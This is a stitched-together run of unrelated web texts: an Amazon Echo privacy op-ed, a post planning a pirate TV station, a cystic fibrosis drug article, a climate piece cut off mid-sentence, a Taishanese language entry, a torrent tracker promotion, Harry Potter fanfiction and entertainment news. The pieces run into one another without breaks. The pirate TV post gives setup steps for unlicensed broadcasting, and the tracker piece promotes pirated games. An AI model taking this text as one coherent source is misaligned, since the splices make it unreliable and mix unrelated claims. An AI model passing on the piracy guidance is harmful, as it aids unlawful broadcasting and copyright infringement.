Law enforcement have filed search warrants with Amazon for recordings from the device in hopes it had been voice activated and captured clues to explain how Victor Collins was strangled to death in Bates’ hot tub in 2015 — but, thus far, the company has not complied.
“It is believed that these records are retained by Amazon.com and that they are evidence related to the case under investigation,” the search warrant reads.
Police have already obtained information from the electric water meter on Bates’ house, and feel the Echo — a voice-activated device which plays music, can answer questions, turns on home appliances, and uses artificial intelligence to improve service over time — might have recorded information vital to parsing out the murder.
When it comes to the Internet of things and the accommodating features such devices provide, costs to personal privacy far outweigh the benefits of saved time. Indeed, considering law enforcement and government authorities are far from infallible, the thought your connected devices have an astonishing amount of information about your otherwise private life should be of sharp concern.
While it might be noble to solve violent crime using any means necessary, the potential for abuse — police trumping up charges after accidentally ‘discovering,’ for example, non-violent, victimless crimes a person committed — is unparalleled.
For owners of the Amazon Echo worried about privacy, instructions for deleting audio recordings can be found here.Well I have acquired one 100 watt TV translator and two 100 milliwatt TV translators. Basically a translator takes a signal from an antenna pointing at a main TV transmitter tower before shifting the frequency up slightly before amplifying that signal and pumping it out of an antenna. For example, the main TV transmitter transmits a TV channel on VHF channel 4 which is 177.5 MHz. The translator then up converts the input from Ch 4 up to Ch 8 which is 205.5 MHz. The original TV broadcast is unchanged. The translator can convert to what ever channel the operator chooses or even convert from VHF to UHF or from low band VHF to high band VHF. Finding a modulator for the weird low band VHF system here in NZ is near impossible as our channel allocation doesn't match the rest of the world. Then again this is true in most countries. High band VHF and UHF is somewhat standardised worldwide, UHF more so.
They normally are used to extend the reach of a TV network which is fine until you want to make a pirate TV station from it. You can feed it by simply taking an RF modulator, tuning it to Ch 4 and hooking it up to the input then hooking up a video source such as a DVD player or laptop and cranking the output power up to full. Then comes the task of finding a vantage point up high preferably between the target area and the local VHF analog TV transmitter tower which is easier said than done.
Anyway we will be broadcasting in analog PAL B format sometime soon. I have to either find or build a transmitting antenna for VHF and buy a VHF modulator. Everything else is piss easy. Strangely pirate TV has always been an obscure topic compared to pirate radio. Hopefully I can take advantage of the analog switch off and target those who cannot afford to switch to digital TV. Regular TV is total shit these days anyway, mostly cooking and home renovation shows in amongst the bullshit reality TV that the younger generation and the "sheep" can't get enough of.
Pics to follow.New data on an experimental drug combination being developed by Vertex Pharmaceuticals of Cambridge, Mass., should give hope to tens of thousands of people suffering from cystic fibrosis, the deadly lung disease that afflicts 70,000 people worldwide and kills most of them in their 20s. If the drug combo proves successful, it could also open up new avenues for genetic research to lead to treatments for terrible diseases, raising the possibility that pairs of drugs developed in tandem could succeed where single pills have failed.
But big questions remain because the data are still early and the results are not quite what researchers expected.
The new combination pairs Vertex's Kalydeco, a newly approved treatment for CF patients whose disease is caused by a rare mutation called G551d, with another pill called VX-809. Together, the pair of drugs are designed to help patients whose cystic fibrosis is caused by a second mutation, called F508del. Kalydeco, which appears to be incredibly potent in patients with the G551d mutation, doesn't help the eight in ten CF patients with F508del mutations at all.
It appears that may change when the Kalydeco pill and VX-809 are given at the same time, according to results revealed by Vertex via a press release this morning and shared with Forbes under an agreement they would not be publicized until now.
The results only include data from 37 patients with two copies of the bad F508del mutation who had completed the study. Seventeen of those patients had improvements in FEV1, a measure of lung function, of more than 5%. (That's not a percentage increase; FEV1 measurements are given as percents.) Eleven of those had lung function improvements of more than 10%. By comparison, the 11 people in the placebo group showed no improvement in FEV1 at all.
The data are "promising," says Michael Boyle, Director of the Johns Hopkins Adult Cystic Fibrosis Center, and lead investigator for this study, although he cautions that they could easily change before the study is completed. Vertex wanted the early result so it could start to marshal resources for the larger clinical trial that will be necessary to gain FDA approval. Should it reach the market, the combination is expected to cost $300,000 a year, like Kalydeco, which is one of the most expensive medicines in the world. He also receives funding from the Cystic Fibrosis Foundation, which helped develop both drugs and which receives a royalty on Kalydeco sales.
"It looks promising, particularly this was a challenging group to deal with," says Boyle. "The Kalydeco data was as big and as clean as you're ever going to see. These data are convincing to us we want to see all the data before trying to compare to our previous experience." Boyle received research funding and some consulting fees from Vertex.
For investors on Wall Street, where there was a great deal of doubt as to whether the combo-pill approach would work, may be cheered by the result. A recent note to clients by analysts at Barclay's Capital said that an increase in FEV1 of 5% in the late stage study that would start next year would be required to get the drug approved. In a spreadsheet provided to clients, analysts at Bernstein Research said that a drug response in 20% of patients would be enough to move the VX-809/Kalydeco combo into late-stage clinical trials. Today's results should increase the level of confidence that the combination approach will work.
The genetic basis for cystic fibrosis was discovered in 1988, when a team led by Francis Collins, now chief of the National Institutes of Health, discovered that patients with the disease had two defective copies of the cystic fibrosis transmembrane conductance regulator gene, or CFTR. Patients symptoms differ depending on how these genes are defective (or mutated). Everyone gets one CFTR gene from each parent; it's only when both genes are mutated that a child gets cystic fibrosis.
CFTR makes a protein that controls the entry and exit of salt into and out of cells in the body. When it doesn't function, mucus becomes thick, damaging the lungs. There are other physical consequences, too: the pancreas doesn't work, and males are infertile because they lack the vas deferens, the tube that brings sperm up into the body.
With patients with the G551d mutation, the CFTR protein sits on the outside of cells but doesn't work. Kalydeco repairs it, making it more functional. With those with the F508del mutation, the CFTR protein isn't even on the surface of the cell. VX-809 and a backup compound, VX-661, are designed to bring the CFTR protein to the cell surface so that Kalydeco can make it work. Forty-six percent of CF patients have two F508del mutations, one from each parent. Another 33% have one F508del mutations and one other mutation of the CFTR gene. (Keeping track of these mutations is so difficult that Vertex has created an iPhone app to help doctors.) Data from the study of patients with one F508del mutation are not ready.
Even at this early stage, the results from the study of VX-809 and Kalydeco are puzzling in ways that could give scientists and investors pause. Investors hadn't been expecting an improvement in FEV1, but they had expected to see improvements in how much salt was in the CF patients' sweat. But while the FEV1 result is already statistically significant, the sweat chloride results were not. Boyle says that this is a puzzle, but he hopes it will work itself out when the full data are available.
Last year, Fred Van Goor, one of the scientists who spearheaded the development of Kalydeco and VX-809, told me: "This really is going to be one of the models of how do you do personalized medicine, using the science, using the genetics to develop drugs based on specific mutations in genes. And how do you have discussions with regulators? Can we still view the way we approve drugs the same way? I think [Kalydeco] and the cystic fibrosis community will drive those discussions."
Those questions remain big. The strategy of developing drugs that won't work unless they are given with other medicines is pretty much unprecedented – the only thing that comes close is the development of HIV medicines. But it is exactly what researchers in systems biology, which studies genes as networks, not individual actors, say will be needed to conquer disease.
If the Kalydeco/VX-809 studies do yield positive results, will the drug industry change to accommodate a new age of medicines that work only in combination?
Cost is a big deal here, too. Kalydeco was priced so high because it could only help 2,000 people, but could help them a great deal. The idea is that these "ultra-orphan" prices help get drugs for rare diseases approved. Bernstein biotechnology analyst Geoffrey Porges has called the rare disease area "one of the few bright spots in biotech." The success of Vertex and others like BioMarin and especially Alexion Pharmaceuticals seems to bear this out. CF overall is still rare, but should the combo be as expensive as Kalydeco alone? Are we better off with $300,000 drugs that help very sick people a lot, instead of $1,000 ones that prevent illness in thousands or millions of people? These are tough questions.
Writing in Forbes, former Pfizer research chief John LaMattina wonders if governments will be able to continue paying for these high-priced medicines forever.
As more of these drugs become available, it will become difficult for governments and healthcare providers to reimburse these costs. As a result, one can envision a scenario where the prices of these drugs are controlled (as already happens in areas outside the U.S.) Such an action will reduce the revenues that a company can expect with these drugs.
If we're lucky, and the data from Vertex's trials continue to look good, we might get to start figuring out the answers.European development groups have reported that the Intergovernmental Panel on Climate Change's latest scientific assessment of the phenomenon matches the observations and experiences of farming and other groups they partner in Africa, Asia and Latin America.
The IPCC scientists, who acknowledge they often have only sketchy rainfall and temperature data for many areas in developing countries, say global temperatures have risen, extreme weather is more frequent and rainfall less predictable. If emissions are not cut dramatically, they say, the world can expect steady sea-level and temperature rises, more extreme weather and less certain rainfall.
"Climate change is a reality here. We can see the impacts everywhere. There are new insects on our crops because of higher temperatures here. We can't produce now without spraying the crops," said a Bolivian farmer, Alivio Aruquipa, who lives in La Granja, near La Paz and works with Christian Aid partner group Agua Sustentable (Care).
"We are the ones who feel the impact of climate change. We have suffered a lot with the lack of water. People feel that they have to leave the country, or leave their homes to look for work and find a way of feeding their families. There are conflicts over water between the |
Taishanese was the dominant dialect spoken in Chinatowns across North America.[23]
Taishanese is still spoken in many Chinatowns throughout North America, including those of San Francisco, Oakland, Los Angeles, New York City, Boston, Vancouver, Toronto, Chicago, and Montreal by older generations of Chinese immigrants and their children, but is today being supplanted by mainstream Cantonese and increasingly by Mandarin in both older and newer Chinese communities alike, across the continent.[24]
Relationship with Cantonese [ edit ]
Taishanese is a dialect of the Yue branch of Chinese, which also includes Cantonese. However, due to ambiguities in the meaning of "Cantonese" in the English language, as it can refer to both the greater Yue dialect group or its prestige standard (Standard Cantonese), "Taishanese" and "Cantonese" are commonly used in mutually exclusive contexts, i.e. Taishanese is treated separately from "Cantonese". Despite the closeness of the two, they are not entirely mutually intelligible.[25][26][27]
The phonology of Taishanese bears a lot of resemblance to Cantonese, since both of them are part of the same Yue branch. Like other Yue dialects, such as the Goulou dialects, Taishanese pronunciation and vocabulary may sometimes differ greatly from Cantonese. Despite the fact that Taishan stands only 60 miles (100 km) from the city of Guangzhou, a linguist suggested that the dialect of Taishan is linguistically far removed from the Guangzhou dialect because of the numerous rivers that separate the two.[28] However, because Cantonese is one of the linguae francae of Guangdong, virtually all Taishanese-speakers in the province today also understand it. In fact, most Sze Yup people in Guangdong regard their own tongue as merely a differently-accented form of Cantonese.[citation needed]
Standard Cantonese functions as a lingua franca in Guangdong province, and speakers of other Chinese varieties (such as Chaozhou, Minnan, Hakka) living in Guangdong may also speak Cantonese. On the other hand, Standard Mandarin Chinese is the standard language of the People's Republic of China and the only legally-allowed medium for teaching in schools throughout most of the country (except in minority areas), so residents of Taishan speak Mandarin as well. Although the Chinese government has been making great efforts to popularize Mandarin by administrative means, most Taishan residents do not speak Mandarin in their daily lives, but treat it as a second language, with Cantonese being the lingua franca of their region.[citation needed]
One distinction between Taishanese and Cantonese is the former's use of the voiceless lateral fricative (IPA ɬ),[29][30] e.g., 三 (meaning "three") is pronounced saam1 in Cantonese and lhaam3 in Taishanese. Voiceless lateral fricatives can also be found in many other western dialects of Cantonese, such as the Gaoyang and Guinan dialects.
Sounds [ edit ]
Initial consonants [ edit ]
There are 19 to 23 initials consonants (or onsets) in Taishanese, which is shown in the chart below in IPA:
Labial Dental/
Alveolar Palatal Velar Glottal plain sibilant Nasal m 1 n 1 ŋ 1 Stop prenasalized voiced ᵐb1 ⁿd1 ᵑɡ1 plain p t t͡s 2 t͡ɕ 2 k ʔ aspirated pʰ tʰ t͡sʰ 2 t͡ɕʰ2 kʰ Fricative voiceless f ɬ s 2 ɕ 2 h voiced v ʒ 3 Approximant l j 3,4 w 5
The respective nasal onsets (/m/, /n/, and /ŋ/) are allophones of the pre-nasalized voiced stop onsets (/ᵐb/, /ⁿd/, and /ᵑɡ/). The palatal sibilants (/t͡ɕ/, /t͡ɕʰ/, and /ɕ/) are allophones of the respective alveolar sibilants (/t͡s/, /t͡sʰ/, and /s/) when the first vowel of the final consonant is high (/i/ and /u/). The palatal approximate (/j/) is an allophone of the voiced fricative sibilant initial (/ʒ/). The palatal approximate (/j/) can be a semivowel of the vowel /i/ when used as a glide. The labio-velar approximate (/w/) can be a semivowel of the vowel /u/ when used as a glide.
Vowels [ edit ]
There are about seven different vowels in Taishanese:
Front Central Back Close /i/ 1 /u/ 2 Close-Mid /e/ /ɵ/ 3 Mid /ə/ 3 Open-Mid /ɛ/ /ɔ/ Open /a/
The closed front vowel (/i/) can be a palatal approximant (/j/) as a semivowel. The closed back vowel (/u/) can be a labiovelar approximant (/w/) as a semivowel. The closed-mid central vowel (/ɵ/) is an allophone of the mid vowel central vowel (/ə/).
Final consonants [ edit ]
The final consonant (or rime) occurs after the initial sound, which consists of a medial, a nucleus, and a coda. There are three medial (or glides) in Taishanese that occur after the initial sound: null or no medial, /i/, or /u/. There are five main vowels after the medial: /a/, /e/, /i/, /u/, and null or no vowel. There are nine main codas at the end of the final: null or no coda, /i/, /u/, /m/, /n/, /ŋ/, /p/, /t/, and /k/.
Nucleus -a- -e- -i- -u- -∅- Medial ∅- i- u- ∅- u- ∅- ∅- i- ∅- Coda -∅ [a] [iɛ] [uɔ] [i] [u] -i [ai] [uɔi] [ei] [ui] -u [au] [iau] [eu] [iu] -m [am] [iam] [em] [im] [m] -n [an] [uɔn] [en] [un] [in] -ŋ [aŋ] [iaŋ] [ɔŋ] [ɵŋ] ~ [əŋ] -p [ap] [iap] [ep] [ip] -t [at] [uɔt] [et] [ut] [it] [ɵt] ~ [ət] -k [ak] [iak] [ɔk] [ɵk] ~ [ək]
Tones [ edit ]
Taishanese is tonal. There are five contrastive lexical tones: high, mid, low, mid falling, and low falling.[5] In at least one Taishanese dialect, the two falling tones have merged into a low falling tone.[31] There is no tone sandhi.[10]
Tone Tone contour[32] Example Changed tone Chao Number Jyutping tone number[ citation needed ] high (yin shang) ˥ (55) hau˥ 口 (mouth) (none) - 2 mid (yin ping) ˧ (33) hau˧ 偷 (to steal) mid rising ˧˥ (35) 1 low (yang ping) ˨ or ˩ (22 or 11) hau˨ 頭 (head) low rising ˨˥ (25) 4 mid falling ˧˩ (31) hau˧˩ 皓 (bright) mid dipping ˧˨˥ (325) 6 low falling (yang shang) ˨˩ (21) hau˨˩ 厚 (thick) low dipping ˨˩˥ (215) 5
Taishanese has four changed tones: mid rising, low rising, mid dipping and low dipping. These tones are called changed tones because they are the product of morphological processes (e.g. pluralization of pronouns) on four of the lexical tones. These tones have been analyzed as the addition of a high floating tone to the end of the mid, low, mid falling and low falling tones.[8][31][33][34] The high endpoint of the changed tone often reaches an even higher pitch than the level high tone; this fact has led to the proposal of an expanded number of pitch levels for Taishanese tones.[5] The changed tone can change the meaning of a word, and this distinguishes the changed tones from tone sandhi, which does not change a word's meaning.[4] An example of a changed tone contrast is 刷 /tʃat˧/ (to brush) and 刷 /tʃat˨˩˥/ (a brush).
Tone name Level
píng 平 Rising
shàng 上 Departing
qù 去 Entering
rù 入 Upper
yīn 陰 高 ˧ (33) ˥ (55) ˧ (33) ˥ (5) 低 ˧ (3) Lower
yáng 陽 高 ˨ or ˩ (22 or 11) ˨˩ (21) ˧˨ or ˧˩ (32 or 31) ˧˨ or ˧˩ (32 or 31) 低 ˨˩ (21)
Writing system [ edit ]
Writing uses Chinese characters and Mandarin vocabulary and grammar, with many common words used in spoken Taishanese having no corresponding Chinese characters. No standard romanization system for Taishanese exists.[citation needed] The ones given on this page are merely traditional.
The sound represented by the IPA symbol ⟨ɬ⟩ (the voiceless alveolar lateral fricative) is particularly challenging, as it has no standard romanization. The digraph "lh" used above to represent this sound is used in Totonac, Chickasaw and Choctaw, which are among several written representations in the languages that include the sound. The alternative "hl" is used in Xhosa and Zulu, while "ll" is used in Welsh. Other written forms occur as well.
The following chart compares the personal pronouns among Taishanese, Cantonese, and Mandarin. In Taishanese, the plural forms of the pronouns are formed by changing the tone,[28] whereas in Cantonese and Mandarin, a plural marker (地/哋/等 dei6 and 们/們 men, respectively) is added.
Person Singular Plural Taishanese Standard
Cantonese Mandarin Taishanese Standard
Cantonese Mandarin transliteration IPA transliteration IPA First ngöi (我) [ŋɔɪ˧] ngo5 (我) wǒ (我) ngo̖i (哦/偔/呆) [ŋɔɪ˨˩] ngo5 dei6 ( 我哋 ) wǒmen ( 我们 / 我們 ) Second nï (你) [nɪ˧] nei5 (你) nǐ (你) nie̖k (偌/逽/聶) [nɪɛk˨˩] nei5 dei6 ( 你哋 ) nǐmen ( 你们 / 你們 ) Third küi (佢) [kʰuɪ˧] keoi5 (佢) tā (他) kie̖k (𠳞/𠶸/佉/劇) [kʰɪɛk˨˩] keoi5 dei6 ( 佢哋 ) tāmen ( 他们 / 他們 )
See also [ edit ]
References [ edit ]The moment you all have been waiting for is finally here. Blackcats Games (aka BCG), one of the best private torrent trackers on the planet for PC and Console games, has opened its doors to the public. You can now directly sign up for a BCG account without the need for a referral code (or in other words, no need to have an invite). This is the first time BCG has opened registrations in more than two years so don’t let this opportunity go waste. If you are a fan of video gaming on PC, Console and Mobile devices, BCG is a must have tracker which indexes both new and old video games for multiple gaming platforms including DOS/Windows PC, Playstation, PS2, PS3, XBOX, XBOX 360, Wii, Gamecube, Dreamcast, Android, iPhone and lots more others. Additionally, this is one of the oldest torrent communities on the internet and Blackcats is set to celebrate its 7th birthday in a couple of months, a feat only a handful trackers have so far managed to achieve.
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If you don’t know much about BCG, here’s why you should get an account (if you are into video games that is). When it comes to content, BCG has games for almost every platform there is on the planet. From the popular DOS/Windows PC section to PS3, XBOX360, Wii console games sections, BCG tracks over 12000 active torrents which include latest titles (scene and non scene releases), retro games and exclusive BCG member creations. Recently they have expanded to cover mobile platforms and now games for Android, iPhone etc are also available. In addition to individual releases, lots of games packs & collections (including full games sets for several consoles) have also been uploaded. A screenshot showing some of the indexed collections can be seen below:
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Related ArticlesA/N: I'll address some things real quick here.
Eyesight potion, yes it's a stupid cliche, yes I used it, I'll let you decide later in the story when it becomes important on whether it was a waste or not.
Harry's comments about his clothing. A twelve year old is not 100% rational about everything, but yet he somehow bought his Hogwarts robes and will need to acquire his school robes for Beauxbatons. In his mind that's okay, those are things his parents would have paid for anyway. There is some additional information that will paint his comment in a different light as well that hasn't come up yet.
This is the longest chapter so far, and Chapter 6 is looking to be even longer, I'm hoping to find a good settling point for chapters. For those with encouraging words, thanks, this is my first try at fanfiction, and for those with criticisms either harsh or nice, thanks to you too! And once again thank you to my BETA: ekb1circloud
It was during a rather large celebration at the Weasley house that Peter Pettigrew decided it was time to move on. Arthur had taken Dobby's advice and had nailed Lucius Malfoy to the wall, while he didn't think the charges would result in Azkaban, he knew for a fact that Lucius's coffers were going to become just that much smaller. Even better he had gotten a bonus and a promotion out of the whole deal. Marginalizing Malfoy's political strength was just frosting on the cupcake. It was a great day in the Weasley house.
Peter though was having none of it. Slinking his way out of Ron's pocket he left the house and transformed for the first time in ages. With a flick of his wand he apparated away.
"Dawlish, get your ass in gear, either summon your patronus or call in sick already."
Auror Dawlish glared at Yaxley before he responded with, "Don't give me your lip Yaxley, you can't even summon a Patronus consistently, give me a minute, my wife was giving me trouble this morning and I'm not exactly thinking happy thoughts today."
Yaxley laughed in response, "Still better than working here every day, when's old fatso supposed to arrive."
"Yaxley, you are talking about the Minister of Magic, show a little respect."
Yaxley waved him off before continuing, "He does the same inspection every year, and every year he lets Sirius Black open his disgusting gob, I don't understand how the stupid idiot is still coherent enough to even speak, much less hold a conversation."
Dawlish looked at Yaxley like he was an idiot before responding, "If you were wandering around the closest thing to hell on earth, wouldn't you stop in for the one man who has a few words to spare? At least Black has a sense of humor, even if he is disgusting."
Yaxley chuckled in response, "He does always have something to say that's for sure."
A klaxon sounded and Dawlish quickly summoned his patronus before a crack sounded as the rest of Minister Fudge's escort portkey'd in.
"How long?" Dawlish said, before a second crack sounded and Minister Fudge pulled his jacket down and said with a bit of impatience, "Let's get on with it, there are a million places I'd rather be."
Dawlish decided it was best to get a move on and began the inspection, pulling out a clipboard he began annotating compliance issues and making comments to the Minister as he went along. Fudge simply grunted in response to most of his comments. Dawlish could understand, he had read the paper this morning too.
It wasn't long before they rounded on Sirius Black's cell, Yaxley yelled at him, "Black your yearly appointment is here."
"And here I was thinking no one cared about little old me anymore," a gravely voice responded from the cell.
Fudge smiled, he liked Black, even though he despised him, "Come now Black, I'd never miss our little meetings, how exciting is this, one of your victims has decided that you ruined Britain so well they'd rather attend school with the damnable French."
"We've gone over this before Minister, I don't have victims, I have fellow visitors in Hell. What have I done now though?"
Fudge grimaced and threw the paper through the bars, "Your precious godson has decided that Hogwarts isn't for him," he said with a sneer.
Sirius looked at the paper and did his best to hide his shock, "Albus really must be spinning his top over this."
Fudge laughed grimly, "You'd be surprised, he actually told me to not make a stink over it, he's right of course it would just end up making Britain look bad acting snooty over it, not that I know why I'm telling you this, it doesn't matter."
Sirius grinned wolfishly before responding, "You like to tell me these things because you know it'll torment me. Everyone loves to pick on poor Sirius."
"Well Black, get back to rotting if you don't mind." Fudge said before gesturing for his escort to continue.
Sirius looked at the paper and was suddenly overwhelmed, if Harry had gone to Beauxbatons in his second year, something must have happened at Hogwart's. He had to do something, he had to keep Harry safe.
"Welcome to new students and old alike, so begins another year at Beauxbatons academy, I hope all of you come to love this place just as much as I have. Some of you may have heard that Harry Potter has come to join us this year, I will only entertain the question to dispel rumors, but yes after much deliberation Mr. Potter decided he wanted to broaden his horizons and has joined us here, please treat him as you would any other student."
"As usual we have had some professors moving in and out of the faculty this year, Professor Disregard has left the Counterspell position and Remus Lupin has taken his place, he comes with a mastery in the art as well as Level 5's in many other skills, so I look forward to seeing you all succeed under his direction."
"The list of restricted items remains small with only the minor addition of Veritaserum outside of controlled conditions. Last year someone got it in their minds to spike the pumpkin juice during our Yuletide festival, I'm sure many of you remember. As usual I will repeat what I've said in the past, if you don't abuse it, we won't restrict it, so be responsible!"
"Lastly and what you've all been waiting for we will now begin the bidding. For those of you who are new here, there are thirteen teams representing the thirteen lunar months of each year, a captain or one of our professor's leads each team and they bid for students to join them. I ask that each student that needs to be sorted stand to the side of the room after they are done eating their fill."
Harry looked about the room at this point as the meal began in earnest and suddenly felt uneasy. No one was particularly looking at him, though he had received some curious glances, but it was far better than the staring that Hogwarts had. He felt uneasy though because now he was going to come under some intense scrutiny. There were a lot litany of spells that professors would cast on you during the sorting and he didn't really enjoy being inspected that closely.
Plucking up he decided to make the best of it though, how bad could it be, it was certainly better than being selected on some arbitrary emotional state he happened to be in at the time, even the hat had said he would do well in any house at Hogwarts. Finishing his food relatively quickly he wandered over to the gaggle of first years that had started to gather to be sorted. He gave them each a look before settling on keeping to himself, it was a tried and true tactic for him and he didn't feel like he had it in him to spark up a conversation at the moment, he was a bit too nervous.
It took a bit of time, but eventually the room quieted down and Madame Maxine stood, "As usual sorting is a private matter between you and the captains of each team, you will be called one by one into the adjacent chamber. After you are sorted you will get to meet your peers, your team is who you can trust to make sure you have what you need to succeed while at Beauxbatons, take care of them and they will take care of you."
Harry stood impatiently while names were called into the chamber one by one, it seemed to take about 10 minutes per person, so he would be here quite a while going alphabetically, so he pulled out his wand and began to do simple charms to keep himself occupied.
He had learned a lot since the beginning of the summer and he was pretty pleased with how helpful Madeline had been for potions, but what had surprised him was that she had been very helpful on other topics as well. His mind drifted for a while before he perked up on hearing Gabrielle Delacour being announced, looking up he saw a rather cute girl with brunette hair and soft grey eyes, the eyes reminded him of something he couldn't quite place and it was then he realized he was picking up features that he wouldn't have been able to distinguish at this distance with his glasses.
Shrugging it off as something to think about later he put her face to memory and decided he had enough twiddling his thumbs and struck up some small talk with the other kids around him.
"Harry Potter!"
Harry started he had gotten so lost in getting to know the other kids around him that he had to scramble to get to the other room. Walking in he found himself in a rather cozy room with a round table with fifteen spots, fourteen of which were occupied with Madame Maxine also being in attendance, picking the empty spot he sat and waited patiently to be engaged.
The man who he knew was the History professor, he thought his name was Henderson, spoke up, "Now Mr. Potter we are going to cast a small spell called a Wealing charm, are you familiar with it?" Harry nodded in affirmation, he had been shown how the spell worked by Philippe who had said it was commonly used in parts of the magical community for business deals. It was apparently a kind of divination, but Philippe had said he needed to take Spell Theory to really understand it.
The cool grey flame danced in the middle of the table before Madame Maxine posed a question to him, "What is more important, academics or ambition?"
Harry immediately felt his hackles rising, he hoped that this wasn't how the whole thing was going to go, one philosophical question after another. Trying to not let his frustration show he responded, "You aren't asking any trick questions are you?"
Madame Maxine smiled and responded, "I think that will do for your answer."
Harry's jaw snapped shut and anger flashed in his eyes before he controlled himself. The man named Lupin asked a question after that, "It says here you were sorted into Gryffindor in Hogwart's if you could pick another house to have been sorted into what would it be?"
Harry tried not to huff, he might be okay with talking about himself with one other person, but fourteen at once was a bit much, "Hufflepuff, I'm no stranger to hard work and everyone there is really friendly, and there is nothing stopping you from being a studious Hufflepuff, Cedric Diggory has been top of his class every year at Hogwarts."
A feminine voice he didn't recognize spoke up on his left, "May I cast a spell on you Mr. Potter?"
Harry asked, "What spell?"
"A mind magic, I know you are British so I will explain, the British fear the Legilimens and the Imperious, and rightly so. In fear they have outlawed more than just dangers though, they have also removed one of the most important cultural expressions of being magical. This spell will show you and us an imprint or maybe a symbol of what you are and what we are. No secrets, but maybe an icon of your aspirations."
"The experience is shared though? So like a trade?"
She nodded and he responded, "Okay."
It was quick, and suddenly the room was a completely different kind of a place, a few of the people near him eyes widened, but Harry himself was drawn to the new teachers face. Remus Lupin was like a beacon to him, and he couldn't help but stare. The image of a wolf surrounded the teacher but what was so curious was the way the wolf's eyes were on him like he was the most important person in the world. That was a feeling Harry was completely unfamiliar with and he couldn't pull his eyes away.
Remus for his part couldn't stop himself from saying, "Five weeks potion duty for my team."
The feminine voice he heard earlier spoke up, "Six weeks."
Remus immediately responded, "Seven, and one week groundskeeping."
The woman huffed, "You already snatched the Delacour girl, that means you have both and Philippe, and now you are spending all the rest of your bids on Potter. Are you going to share any of the best students."
Remus just grinned in return, "I'm new I have to make a splash."
"Eight and one."
"Nine and Two."
"Fine!" The woman said.
Two of the other professors rolled their eyes, and Madame Maxine actually was covering her mouth in amusement.
"Welcome to Team Moony Mr. Potter." Lupin said with a smirk.
Harry shook himself from his staring before he smiled, "Thank you."
Madame Maxine gestured to the door and said, "You'll find your team through there, welcome to Beauxbatons."
Sirius was anxious not a new feeling for sure, but at the moment it was making it hard to focus on keeping the Dementors out. He had taken to doing Arithmancy on the walls of his cell to keep himself occupied but at the moment it wasn't quite enough of a distraction. He would write letters, but that wasn't something they allowed.
Harry wasn't safe. He needed something to focus on, he had dreamed a few times of escaping, he knew he could pull it off given the rather careless attitude most of the guards here had, between his Animagus form and his Occlumency he had managed to stave off the worst of the effects of the place. He didn't want to cause more trouble for his friends or himself though.
His combination of abilities gave him a rare resistance, not that it made the food more pleasant, but it was better than going insane. Looking through the room his eyes landed on one of the oddities of the place, Dementors had a tendency to shed. Whenever they were full from tormenting, their cloaks would grow and every now and then they'd get caught on something and pieces would tear off.
It certainly added to their fearsome image, tattered cloaks and darkness. That wasn't what suddenly had Sirius curious though. The cloaks had a lot of magic in them, since contrary to popular belief that's what the Dementors actually fed on, their method was gruesome but evoking the worst of your memories had a tendency to make the human soul and by proxy its magic more easily consumed. It would of course grow back in time, that's why the Dementors agreed to service the isle, it gave them a free source of food.
Picking up the cloth Sirius shuddered a bit, usually the cloak would eventually unravel and the latent magic would sink into the stones of the castle, one of the side effects was that the castle was basically indestructible after centuries of it. Unraveling a thread, Sirius got an idea that he was sure was basically as insane as he would tolerate.
Looking back over to his bed he grinned wildly, lifting the mattress, he pulled the wood out from underneath, the wood was cheap, but it wasn't particle board, it was a single section that he could work with. Picking up a small splinter Sirius turned toward the cloth he held and began to pick at it trying to get a single thread from it.
He began to laugh, he wondered if anyone had ever shared this crazy idea, and began to work in earnest.
At Hogwart's a rat and a book made its way down into the Chamber of Secrets during the welcoming feast. And it wasn't long before a rat, a book, and a rather large snake left the premises under the cover of night.Showtime’s The Affair has proven that it takes two to tango (i.e., cheat on your spouse) and to tell very different versions of the events before and after said adultery. The angle is that it has multiple angles from which it tells the story of the affair between Noah (Dominic West) and Alison (Ruth Wilson). To the show’s credit, season one didn’t suffer from jumping between the two perspectives, even if the finale featured more disparate recollections than ever before.
The second season of The Affair will double down on this Rashomon-like storytelling and allow for Noah and Alison’s spouses to share their tales, too. Yahoo! reports (via The Associated Press) that we’ll get to witness the aftermath of the affair from the perspectives of wronged spouses Cole (Joshua Jackson) and Helen (Maura Tierney). There won’t be some awful four-way split screen, though; each episode will still feature two sides of the story, but they’ll change from week to week.
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Cole and Helen’s inclusion in the storytelling isn’t meant to provide clarification or lend weight to Noah or Alison’s versions of the events, though. Creator Sarah Treem already told the AP that the decision wasn’t made to “make sure that everybody understands it perfectly,” and that the additional voices won’t necessarily help suss out the truth. You can look forward to being enlightened or further befuddled when The Affair returns on October 4.The First-Ever New York Sci-Fi Film Festival Will Feature VR Movies
With Hollywood sci-fi, you pretty much know what you're going to get: a reboot (Star Trek), a sequel (Blade Runner: 2049), or a film adaptation of a book (The Martian). If you want something mind-blowing, something bizarre or new or just unexpected (like Ex Machina, Her, or Moon), then you're better off going straight to the source: a legit film festival. Not something hoity-toity and expensive like Cannes or Sundance—we're talking a sci-fi film festival, where fans of fantasy, horror, and science fiction can go and check out sweet indie films and even VR movies.
Enter the New York Sci-Fi Film Festival, the Big Apple's very own celebration of indie sci-fi, whose inaugural showing is happening this Friday, Saturday, and Sunday in Manhattan. NYSFFF will be a combination of screenings, panels, sci-fi retrospectives and installation/exhibitions, including a virtual reality block. According to Dan Abella, the festival director, "The VR program is as visually stunning as it is technically advanced. It is being held at The Roxy Hotel, which is one of the most classy venues in the city for filmmakers and film-goers to have great conversations and network after the screenings."
More details are below!
More details are below! Films to Check Out
According to Dan, the Philip K. Dick Sci-Fi Film Festival he's been organizing since 2012 couldn't accommodate all the amazing films they were receiving, so he and the team decided to create a new festival that would focus on horror, fantasy, sci-fi, and supernatural films, with a special eye on reflecting New York's unique diversity. "New York deserves its own science fiction festival," Dan says. So here are some of the films to look forward to—our eye is on Dryad and UFOs in Zacapa:
Shorts Films:
Nicholas Valaskatgis's Uncanny Harbor (2015) follows a man blamed for his wife's disappearance
Coralie Fargeat's Reality+ (2014) tells the story of characters who are able to see themselves with perfect physiques thanks to a brain chip
Thomas Vernay's Dryad (2016) is "an atmospheric and mystical tale"
Features:
Ian Truitner's Teleios (2016) tells the story of genetically-engineered humans who must survive a space mission
Marcos Machado's UFOs in Zacapa (2016) is about a UFO television show that discovers the boundaries between faith and the truth
Jay Cheel's documentary How To Build a Time Machine (2016) is about "two men, one being Ronald Mallet, who is a scientist and professor at University of Connecticut, and they are working on building a time machine."
Here are some preview images from (left to right) Reality+, Teleios, and Dryad:
Images credits: Mezzanine, actor Samuel Trépanier (left), P3 Post, Thousand Mile Media (center), Cumulus and Origine Films (right)
